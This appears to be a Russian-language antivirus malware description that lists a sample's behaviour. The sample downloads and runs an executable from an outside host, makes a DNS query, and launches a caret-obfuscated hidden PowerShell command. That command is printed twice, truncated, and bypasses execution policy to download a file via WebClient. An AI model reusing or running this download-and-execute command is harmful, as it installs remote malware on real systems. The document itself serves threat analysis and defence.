Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^OwE^R^s^Hel^L^.EXe^ -EXeCu^TioN^p^Olicy^ ByP^aSS -^N^OPRof^i^Le^ ^-^Wind^Ows^tYL^e hiDDEN ^(n^eW-OBJ^eC^T^ ^SYsteM.^N^et^.^wEbCLieNt).^d^oWnlOa^d^F^ILe('http://www.zoned...
Сетевая активность
UDP
- DNS ASK zo###opesa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^OwE^R^s^Hel^L^.EXe^ -EXeCu^TioN^p^Olicy^ ByP^aSS -^N^OPRof^i^Le^ ^-^Wind^Ows^tYL^e hiDDEN ^(n^eW-OBJ^eC^T^ ^SYsteM.^N^et^.^wEbCLieNt).^d^oWnlOa^d^F^ILe('http://www.zoned...' (со скрытым окном)
